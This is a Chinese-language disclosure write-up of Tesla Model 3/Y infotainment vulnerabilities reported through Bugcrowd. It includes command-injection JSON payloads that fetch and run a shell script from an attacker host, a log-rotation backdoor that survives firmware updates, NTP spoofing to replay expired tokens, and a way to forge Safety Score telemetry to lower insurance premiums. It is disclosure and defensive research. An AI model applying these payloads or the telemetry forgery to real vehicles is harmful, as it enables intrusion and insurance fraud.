对特斯拉Model 3/Y信息娱乐系统的漏洞研究。6个漏洞,4个CVE(CVE-2022-42005至CVE-2022-42008)。Root shell、持久化访问、保险远程信息处理欺骗。
对特斯拉 Model 3/Y 信息娱乐系统(Intel Atom MCU,Linux 4.14.235)的漏洞研究,已通过 Bugcrowd 向特斯拉负责任的披露。
通过特斯拉 ODIN 诊断接口的命令注入漏洞 (CVE-2022-42008),在一台量产特斯拉 Model 3 上获得了持久的 root 访问权限。由此,又发现了五个额外漏洞——包括一种能够抵御固件更新的持久化方法(CVE-2022-42005,CVE-2022-42006)以及一种伪造 Safety Score 保险遥测数据的方法,该方法直接将月保费从 130 美元降至 83 美元。
ODIN、hermes 和 Safety Score 共发现六个漏洞。四个 CVE。通过 Bugcrowd 获得奖励,并加入了特斯拉的 SSH 安全研究员计划。
| 发现 | CVE | 影响 | 状态 | 奖励 |
|---|---|---|---|---|
| 通过 ODIN 获取 Root Shell | CVE-2022-42008 | 通过命令注入获取 Root Shell | 已修复 (2021.32.10) | Bugcrowd 赏金 |
| 过期 ODIN 令牌 | CVE-2022-42007 | 通过 NTP 欺骗进行令牌重放 | 已修复 (2021.32.10) | Bugcrowd 赏金 |
| 上传至 Mothership | — | 任意文件上传至特斯拉服务器 | 标记为 N/A | — |
| 日志后门 + DV 访问 | CVE-2022-42005, CVE-2022-42006 | 持久化访问并抵御固件更新 | 已修复 | Bugcrowd 赏金 |
| 保险遥测伪造 | — | 伪造 Safety Score 降低保费 | 未确认修复 | — |
| Unfuse ODIN | — | 无需认证执行任意 ODIN 任务 | 未确认修复 | — |
特斯拉 Model 3/Y 信息娱乐系统(Intel Atom MCU)运行基于 Linux 的操作系统,本次研究中识别了多个攻击面:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (代理+客户端) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (命令注入)│ │ server │ │ 上传至 │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (数据值) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ 绕过) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ 日志轮转 │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (持久化) │ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ 服务器 │
│ │ │ │
│ CVE-42007 │ │ 文件上传 │
│ (过期 │ │ 遥测数据 │
│ 令牌) │ │ │
└─────────────┘ └──────────────────┘
完整报告:通过 ODIN 获取 Root Shell | 日志后门 + DV 访问
ODIN 诊断接口暴露了一个名为 TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK 的任务,它接受一个 MicTest-Input 参数——一个字符串列表,直接传递给 CID_EXEC 以 root 身份执行。任何拥有最低 Toolbox 访问级别(tbx-external)的订阅者均可通过连接到车辆的诊断端口并发送 POST 请求来触发此任务。输入字符串会被原样执行,因此攻击只需两步:首先,通过 curl 将反向 shell 脚本下载到车辆上:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
然后执行它:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
建立 root shell 后,通过劫持 svlogd 日志轮转配置实现持久化访问。标准的 gzip 压缩命令被替换为一个脚本,该脚本在每次日志轮转时以 log 账户打开一个后门 shell:
!sh /var/log/wpa_supplicant/gzip.sh -c
使用 chattr +i 将配置文件设置为不可变,以确保其在固件更新中存活。虽然 log 账户无法使用标准的 sdv 命令设置数据值(dbus 拒绝),但特斯拉的休眠 prototype_server 在通过 settings.conf 启用后,提供对所有数据值的无限制 WebSocket 访问。一组定制的 shell 脚本(sdv,lv,send.sh)模拟 WebSocket 客户端与该服务器交互。
完整的持久化工具集通过车辆的 Access Code 输入框控制(长按触摸屏上的车辆模型即可显示),该输入框由一个监听脚本监控,用于分发命令——包括打开后门 shell、设置数据值和切换服务模式。
特斯拉的 ODIN 令牌生成端点接受过期的 tbx-tokens,并且关键的是,还在响应中返回用户的 tbx-token,从而通过共享导致令牌泄露。车辆通常会拒绝过期的 ODIN 令牌,但通过使用基于 ARP 的拦截 (ntpspoof.py) 伪造车辆的 NTP 时间源,可以诱使车辆接受已过期的令牌。网关检测到 NTP 篡改(GTW_w149_rtcTimeSetInPast),但并未对此信号采取行动。
使用车辆来自 /var/lib/car_creds/ 的证书,可以在本地机器上启动 hermes_proxy 服务,从而直接访问特斯拉的 Mothership 服务器。配置文件备份端点(/vehicles/${VIN}/computer_profile)接受任意文件上传且无任何验证——一条简单的 curl 命令即可将任何文件上传到特斯拉的生产基础设施。特斯拉将此发现标记为 N/A("按设计工作")。
特斯拉的 Safety Score 系统从 MCU 收集驾驶遥测数据,并上传至 Mothership 用于保费计算。拥有 root 权限后,可以捕获一份满分遥测样本,通过十六进制编辑(使用逆向工程得到的模式文件 telemetry.proto)夸大其 protobuf 编码的里程数值,然后重新上传修改后的样本。两份伪造的行程被 Mothership 接受——其中一份显示约 2700 英里的行驶距离,耗时 3.5 小时——直接导致月保费从 130 美元降至 83 美元。根本问题在于遥测数据来自 MCU(用户可访问),而非 APE3 自动驾驶单元(加固的)。特斯拉未就此发现发放赏金。
拥有 root 权限后,将一个伪造的 is-fused 脚本绑定挂载到 /usr/bin/is-fused 上,并重启 ODIN 服务,会导致 ODIN 认为该单元处于工厂/开发模式。在此状态下,无需认证令牌即可执行任何 ODIN 任务——包括可能禁用车辆警报的任务(PROC_ICE_X_SET-DATA-VALUE)、擦除 VIN 的任务(PROC_ICE_X_DEASSOCIATE-PRODUCT-ID),甚至可能触发安全关键车辆功能的任务。
本研究是作为负责任的漏洞研究的一部分进行的,并通过 Bugcrowd 向特斯拉的漏洞奖励计划报告。所有分配了 CVE 的漏洞已在当前固件版本中修复。本仓库仅供教育目的发布。
作为本研究的结果,团队通过 Bugcrowd 获得了财务赏金,并加入了特斯拉的 SSH 安全研究员计划,获得了用于持续研究访问的签名 SSH 证书。
研究代表 SourceHat Labs Inc. 进行。
| 工具 | 描述 |
|---|
| ntpspoof.py | 基于 ARP 的 NTP 欺骗,用于重放过期 ODIN 令牌 (Python/scapy) |
| telemetry.proto | 逆向工程的特斯拉 Safety Score 遥测 protobuf 模式(34 个字段) |
| listen.sh | Access Code 输入框命令监听器——通过触摸屏的秘密命令界面 |
| sdv | 通过 prototype_server WebSocket 设置数据值 |
| lv | 通过 prototype_server WebSocket 获取数据值 |
| send.sh | 用于 prototype_server 通信的 WebSocket 帧构建 |